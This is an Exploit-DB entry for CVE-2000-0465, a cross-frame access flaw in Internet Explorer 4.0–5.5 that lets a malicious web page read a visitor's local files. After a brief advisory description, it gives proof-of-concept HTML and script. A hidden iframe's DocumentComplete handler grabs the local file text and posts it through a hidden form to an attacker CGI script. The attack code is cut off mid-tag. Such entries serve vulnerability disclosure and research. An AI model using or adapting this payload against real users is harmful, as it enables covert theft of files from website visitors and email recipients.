Microsoft Internet Explorer 4.0/5.0/5.5 preview/5.0.1 - DocumentComplete Cross Frame Access Vulnerability

ID EDB-ID:19939
Type exploitdb
Reporter Andrew Nosenko
Modified 2000-05-17T00:00:00


Internet Explorer 4.0/5.0/5.5 preview/5.0.1 DocumentComplete() Cross Frame Access Vulnerability. CVE-2000-0465. Remote exploit for windows platform


The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability. 

<iframe id=clientContent width=0 height=0 noborder>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();


<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
<input name="file_text" type=hidden>